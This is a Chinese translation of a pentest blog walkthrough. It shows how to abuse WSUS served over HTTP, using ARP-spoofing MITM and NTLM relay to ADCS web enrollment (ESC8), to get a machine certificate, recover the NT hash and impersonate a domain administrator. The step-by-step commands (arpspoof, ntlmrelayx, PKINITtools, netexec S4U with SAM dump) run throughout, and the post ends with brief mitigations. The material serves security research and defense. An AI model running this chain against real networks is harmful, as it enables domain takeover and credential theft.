滥用 WSUS 和 MITM 执行 ADCS ESC8 攻击

此文介绍：

这篇文章详细介绍了如何利用中间人攻击（MITM）滥用 WSUS（Windows Server Update Services）的漏洞来执行 ADCS（Active Directory Certificate Services）的 ESC8 攻击。文章首先解释了 WSUS 的基本概念和功能，然后详细介绍了如何利用 WSUS 的配置错误来进行攻击。接着，文章介绍了 ADCS 的基本概念以及如何利用它来进行特权升级。最后，文章提供了实际的操作步骤和示例，展示了如何在实际网络环境中执行这种攻击。整体而言，这篇文章旨在向读者展示如何利用 WSUS 和 ADCS 的漏洞来进行特权升级攻击。

正文内容：

在这篇博文中，我们将尝试演示另一种方法（不是新方法），通过滥用 WSUS 服务器错误配置来升级机器/计算机上的权限。

自 2020 年Gosecure道德黑客发布配置错误的 WSUS 部署漏洞利用工具pywsus以来，WSUS 配置在渗透测试期间受到越来越严格的审查，以危害客户端更新计算机。随后，Gosecure 发表了一篇关于滥用 Windows Server 更新服务 (WSUS) 来启用 NTLM 中继攻击的论文。

在阅读上一篇精彩的博客文章时，我注意到读者需要提供如何利用 Active Directory 证书服务 (ADCS) 上下文中易受攻击的 WSUS 服务器配置来获取 NT AUTHORITY/系统的概念验证加入域的计算机上的权限。这就是这篇博文的目标！

在深入讨论主题之前，我们先简单讨论一下 WSUS 和我们想要结合的 ADCS 漏洞。

WSUS101

WSUS 概述

Windows Server Update Services (WSUS) 允许信息技术管理员在计算机上部署最新的 Microsoft 产品更新。MS表示，WSUS 可用于全面管理通过 Microsoft Update 向网络上的计算机发布的更新的分发。WSUS 服务器从 Microsoft 服务器下载更新并将其保存在本地，以便将其提供给域计算机和服务器。

组策略对象被推送并应用到使用 WSUS 服务器进行更新的一组域计算机。在每台计算机上，W indows U pdate自动更新客户端二进制文件- wuauclt.exe 用于通过联系 WSUS 服务器来频繁查找更新。该二进制文件现已被弃用。

我们可以使用Windows设置搜索并安装更新。从那里，客户端计算机使用 HTTP(S)/SOAP XML Web 服务与 WSUS 服务器进行通信。这意味着所有更新过程都是使用网络服务完成的。从进攻角度的完整解释可以在这里找到。更新客户端请求 (POST) 的主要端点是 /ClientWebService/SimpleAuth.asmx、/ClientWebService/Client.asmx、/ApiRemoting30/WebServices.asmx，XML 数据中包含的有趣请求是：

• SyncUpdates ：发送当前更新的列表。

• GetExtendedUpdateInfo：检查新的更新 ID。

在响应 GetExtendedUpdateInfo 请求时，WSUS 服务器发送元数据、处理程序（例如 CommandLineInstallation 允许使用主机上的特定参数执行 WSUS 服务器提供的 Microsoft 签名二进制文件）、下载位置的 URL，甚至每个新更新的安装说明。

使用 Powershell 查找更新

域服务器和计算机可以借助 Powershell 和 MicrosoftUpdate .NET API 来查找更新。此时，将请求 /ApiRemoting30/WebServices.asmx 终结点并使用 WSUS Powershell 模块安装更新。

WSUS 攻击

在域上部署 WSUS 时，建议启用 SSL，而不是强制启用，不幸的是，这会导致我们在渗透测试期间遇到的 WSUS 不安全配置。最初，WSUS 攻击背后的想法是，如果我们能够执行 MITM 攻击，我们可以在域计算机的眼中声称自己是 WSUS 服务器来寻找更新，然后注入虚假更新以在计算机上执行命令，就像 NT AUTHORITYSystem 滥用一样命令行安装处理程序。这就是 pyWSUS 工具的诞生。

利用 WSUS 错误配置的另一种方法是利用计算机客户端提供的身份验证来查找更新并将其中继到其他域服务，在我们的示例中：Active Directory 证书服务 Web 注册端点。

ADC 101

公钥基础设施

PKI（公钥基础设施）是用于创建、管理和撤销证书以及公钥/私钥的基础设施。

Active Directory 证书服务 (ADCS) 是 Microsoft 在 Active Directory/Windows 环境中实施的 PKI 基础结构。PKI 基础设施的用法有一个简短的列表：

• TLS 证书（HTTPS/LDAPS/RDP）

• 签署二进制文件、Powershell 脚本甚至驱动程序

• 用户认证

• 文件系统加密

证书模板

为了简化 Active Directory 中的证书请求，提供了证书模板。

默认情况下，正如Sant0rryu 博客文章中所解释的那样，安装 ADCS 时，可以使用不同的默认模板。其中两个是用户和机器模板，域中的任何用户和机器/计算机帐户都可以请求它们。我们对这两个模板特别感兴趣。首先我们来说说机器模板。

最初，所有客户端的更新均由 LocalSytem NT AuthoritySystem 帐户安装，该帐户是内置服务帐户。在 Active Directory 环境中，localSystem 在尝试连接到域上的远程服务器时使用计算机帐户。因此，基本上在查找更新时，如果在 Active Directory 环境中需要身份验证，Windows 客户端可能会使用计算机帐户。

账户认证（PKINIT）

PKINIT 是 Kerberos 的非对称预身份验证机制，它使用 X.509 证书向客户端验证 KDC，反之亦然。与传统的身份验证密码和对称密钥相比，唯一的变化涉及 KRB_AS_REQ 和 KRB_AS_REP 交换。事实上，客户端使用与有效证书关联的私钥对时间戳进行签名。只有少数证书的 EKU 允许客户端使用证书进行 PKINIT 身份验证（例如EKU客户端身份验证）。

实际情况

让我们想象一下，我们正处于 Jujutsu Kaisen 的奇妙世界中；）并且我们以某种方式有一个与之相对应的领域。让我们考虑以下设置：

• DC-CURSE (192.168.56.105)：域控制器 (Windows Server 2019)，也托管证书颁发机构服务。CA 名称为 jjk-CURSE-CA。

• WSUS (192.168.56.114)：Windows 服务更新服务器 (Windows Server 2019)，它托管 WSUS 并通过HTTP IIS 服务器向计算机提供更新。

• CURSE-COMP (192.168.56.108)：正在寻找更新的 Windows 11 客户端计算机。

• Parrot-OS (192.168.56.115) 这是我们的攻击者机器。

利用先决条件

为了利用这种情况，让我们看看先决条件：

• 首先，能够拦截 Windows 更新客户端和 WSUS 服务器的流量非常重要。换句话说，我们能够执行 ARP 欺骗攻击，这意味着我们与两者位于同一网络上。

• 配置为使用 HTTP 的 WSUS 服务器。可以通过查询注册表项找到 WSUS 服务器协议配置：

PS > reg query HKLMSoftwarePoliciesMicrosoftWindowsWindowsUpdate /v WUServerHKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsWindowsUpdate    WUServer    REG_SZ    http://wsus.jjk.local:8530/

还可以使用 Wireshark 嗅探流量，以便找到客户端请求的主要端点，如上所述。

• 在启用 HTTP 并禁用 EPA（身份验证扩展保护）的域上启用基于 ADCS HTTP 的注册方法。换句话说，ADCS 容易受到 ESC8 的影响。

趁势而为

我们知道 WSUS HTTP 服务器使用 8530 TCP 端口来应答客户端请求。我们将使用 ARP 欺骗攻击拦截 Windows 更新流量（我们可以使用 mitm6 或响应程序等）。有一些命令用于拦截两个 Linux 终端中客户端 (192.168.56.108) 和服务器 (192.168.56.114) 之间的流量。

在一个终端中：

~ sudo arpspoof -i enp0s3 -t 192.168.56.108 192.168.56.114

在另一个终端中：

~ sudo arpspoof -i enp0s3 -t 192.168.56.114 192.168.56.108

如果我们在 Windows 更新服务器和客户端计算机之间进行 MITM，这意味着我们可能会在端口 8530 上收到 HTTP 请求。当我们想要使用 impacket 工具Ntlmrelayx中继它时，我们必须进行端口重定向。我们将端口 8530 上的所有传入流量重定向到端口 80，就好像我们正在侦听端口 80 一样，我们将收到这些请求。我们可以选择我们可以使用的工具。为此，我们要么使用 IpTables，要么使用socat ：

• iptables的使用：

~ sudo iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 80

• socat 的使用：

~ sudo apt install socat~ sudo socat TCP-LISTEN:8530,fork TCP:80

因此，我们准备将所有传入的流量转发到我们的 HTTP 80 端口到 ADCS Web 注册 HTTP 服务器。使用 ntlmrelayx 来执行中继。

[!IMPORTANT] 确保使用 ExtAndroidDev pull request或Dirkjann 的 httpattack.py 版本。正如 Dirk-jan 在他的博客文章中所解释的那样 ，服务器/计算机不应请求证书，因此 Web 注册页面会返回错误“找不到证书模板”。您无权从此 CA 请求证书，或者访问 Active Directory 时发生错误。”我们在实验室中是如何使中继工作的：

python3 -m venv envsource env/bin/activategit clone https://github.com/SecureAuthCorp/impacket ./impacketcd impacketgit fetch origin pull/1101/head:ntlmrelayx-adcs-attackgit checkout ntlmrelayx-adcs-attackpython3 setup.py installcd examplespython3 ntlmrelayx.py -t http://192.168.56.105/certsrv/certfnsh.asp -smb2support --adcs

我们可以等待 Windows 更新客户端请求 wsus 服务器，或者如果我们有权访问受感染的主机，我们就会搜索更新。这是正在寻找更新的 CURSE-COMP 受害者计算机：

事实上，我们收到了一些请求，我们将转发到 jjk-CURSE-CA 网络注册，以便使用计算机模板索取模板。就在那里：

让我们看看 Wireshark 发生了什么：

• CURSE-COMP 计算机 (192.168.56.108) 向我们的 Web 服务器发送更新请求（请记住，我们将端口 8530 上的所有传入流量传输到端口 80）。CURSE-COMP 要求我们进行更新，因为我们充当 WSUS 服务器（地址为 192.168.56.114）。我们向他发回 HTTP 401 错误代码。

• 我们（Parrot-OS 位于 192.168.56.115）使用 Web 注册向 jjk-CURSE-CA (192.168.56.105) 请求证书，它会发回 HTTP 401 错误。

• jjk-CURSE-CA 要求我们使用 NTLM 进行身份验证。我们向 CURSE-COMP 发送相同的响应。

• CURSE-COMP 使用 NTLM 向我们进行身份验证，我们将其转发到 jjk-CURSE-CA 以请求机器证书。

• 我们从 jjk-CURSE-CA 收到 200 HTTP 响应，然后查询并下载 CURSE-COMP$ 计算机帐户的证书。

既然我们获得了证书，那么我们就可以使用 PKINIT 对该域进行身份验证。然后我们使用PKINITools工具包的 gettgtpkinit.py 来获取我们的 TGT：

~ python3 /opt/PKINITtools/gettgtpkinit.py -pfx-base64 $(cat a.b64) 'jjk.local/CURSE-COMP$' 'curse-comp.ccache' -dc-ip 192.168.56.105

获得 TGT 后，我们使用 KRB5CCNAME 导出命令将其加载到内存中。klist 命令允许列出已加载的 Kerberos 票证，我们看到我们已经获得了一个 TGT 作为 CURSE-COMP$，这是我们请求证书的计算机帐户。

~ export KRB5CCNAME=curse-comp.ccache~ klist

当我们使用 PKINIT 进行身份验证时，客户帐户 NT 哈希在 PAC（特权属性证书）中进行加密。为了读取 PAC 并访问客户端的 NT 哈希，客户端必须使用另一个称为用户到用户 (U2U) 的 Kerberos 扩展。此 IETF 草案中对用户到用户进行了很好的解释。这里的想法是向我们自己请求服务票证，同时在 KRB_TGS_REQ 期间将我们的 TGT 添加为“附加票证”。当我们收到 KDC 响应时，我们将能够找到 PAC 和 NT 哈希，因为它使用我们的 TGT（我们知道）的会话密钥来加密 PAC。我们使用此会话密钥（来自我们的 TGT）来解密 PAC 和 NT 哈希。

~ python3 /opt/PKINITtools/getnthash.py jjk.local/CURSE-COMP$ -key f00b6e57ffaf6f23002b39d72ed6f34e0bfa9824db4fe8ccbe28f82b4c96119b

然后我们就有了 CURSE-COMP$ 账户 NT 哈希值，让我们用我们最喜欢的新网络渗透测试工具netexec来验证它。

~ nxc smb 192.168.56.105 -u  CURSE-COMP$ -H "8a03b8e0fb9728ee5d6dd1eb356a5270"

由于我们有 CURSE-COMP$ NT 哈希，因此我们可以执行银票攻击并冒充机器上的域管理员（RID 500）用户。通常执行S4U攻击时，我们使用impacket。要继续，我们必须找到域 SID，然后向我们受损的计算机帐户索取域管理员票证。最近 netexec 添加了nxc4u 功能，为我们提供了执行此攻击的巨大快捷方式！

~ nxc smb CURSE-COMP.jjk.local -u 'CURSE-COMP$' -H '8a03b8e0fb9728ee5d6dd1eb356a5270' --delegate administrateur --self --sam

就在那里！！从现在开始，我们可以在主机上执行我们想要的任何后利用操作，例如转储凭据、拥有管理访问权限等等。

利用这种情况的另一种方法

Windows Server 更新服务 3.0 类库

为了让管理员完全控制更新管理过程，同时消除客户端计算机直接从 Microsoft Update 界面检索更新的需要，Microsoft 创建了WSUS 3.0 API。系统管理员可以使用 WSUS API 来确定哪些更新适用于一台计算机或一组计算机、下载这些更新并在很少或无需用户干预的情况下进行安装。Microsoft 利用这一点，为了使用 WSUS 3.0 API，我们必须是 WSUS Reporters 组或 WSUS Administrators 组的成员，这意味着在某些时候，与 WSUS API 通信的用户会以某种方式验证其身份，或者他必须进行身份验证使用 WSUS API 类时连接到 WSUS 服务器。WSUS 3.0 API 已在包含 WSUS 安装的服务器和安装了 WSUS 客户端的客户端上可用。该 API 旨在与 WSUS 3.0 服务器一起使用。

客户端和 WSUS 3.0 API 服务器之间的通信是使用Microsoft.UpdateServices.Administration Namespace完成的。要使用 WSUS API，我们需要引用更新服务管理程序集 Microsoft.UpdateServices.Administration.dll。从那里，可以在请求中调用不同的 AdminProxy 方法。最后，我们在向 API 服务器发出请求期间发送数据的主要端点是/ApiRemoting30/WebServices.asmx。

我在许多网络渗透测试中注意到，系统管理员在某些服务器上运行使用PSWindowsUpdate（基于 Microsoft.UpdateServices 类）模块的 powershell 脚本来搜索 WSUS 3.0 服务器的更新。当然，WSUS 服务器是在 HTTP 上运行的。由于这些模块在用户（登录的域用户或服务帐户）上下文中使用，因此如果需要，它们将使用用户/服务帐户凭据进行身份验证。换句话说，如果需要 NTLM 身份验证，它们将携带带有凭据的 NTLM 身份验证。有一个我遇到的脚本示例：

...    cut    ...    Process {        If (-NOT $PSBoundParameters.ContainsKey('WSUSServer')) {            #Attempt to pull WSUS server name from registry key to use                        If ((Get-ItemProperty -Path HKLM:SoftwarePoliciesMicrosoftWindowsWindowsUpdate -Name WUServer).WUServer -match '(?<Protocol>^http(s)?)(?:://)(?<Computername>(?:(?:w+(?:.)?)+))(?::)?(?<Port>.*)') {                $WsusServer = $Matches.Computername                $Port = $Matches.Port            }        }        #Make connection to WSUS server          Try {            Write-Verbose "Connecting to $($WsusServer) <$($Port)>"            $Script:Wsus = [Microsoft.UpdateServices.Administration.AdminProxy]::GetUpdateServer($wsusserver,$Secure,$port)              $Script:_wsusconfig = $Wsus.GetConfiguration()            Write-Output $Wsus          } Catch {            Write-Warning "Unable to connect to $($wsusserver)!`n$($error[0])"        } Finally {            $ErrorActionPreference = 'Continue'         }

让我们回到我们的实验室，这次有一个特权用户 ( Satoru Gojo ) 使用交互式 shell 工具登录到 CURSE-COMP。Gojo 使用一个脚本通过Windows Server 更新服务类库连接到 WSUS 服务器来查找更新：

即使出现 404 错误，我们也会看到尝试连接到 WSUS 服务器。我们同时使用 ntlmrelayx 在线监听；我们可以看到证书请求已发出，但使用域用户帐户 GOJO，当然证书请求失败，因为使用的模板不正确：

当我们重新尝试使用正确的模板“用户”进行中继时，我们请求并获取用户证书：

根据域中的用户权限，可能需要考虑攻击，特别是当有特权用户/服务帐户运行此命令时。

结论

在这篇博文中我们没有带来任何新的攻击概念，我们试图找到另一种方法来滥用Active Directory环境中的WSUS错误配置。当 WSUS 和 ADCS 都配置错误并且可以通过任何方式进行 MITM 时，它们可能会导致域计算机受到攻击。一方面应通过 HTTPS 配置 WSUS，另一方面应使用 EPA 配置 ADCS Web 注册。在调查计算机帐户的某些可疑行为时，Defender 可以利用 Windows 事件日志（例如用于 PKINIT 身份验证的事件 4768）。一些事件 ID（如 4768）与 PKINIT 身份验证相关。

原文地址：

https://j4s0nmo0n.github.io/belettetimoree.github.io/2023-12-01-WSUS-to-ESC8.html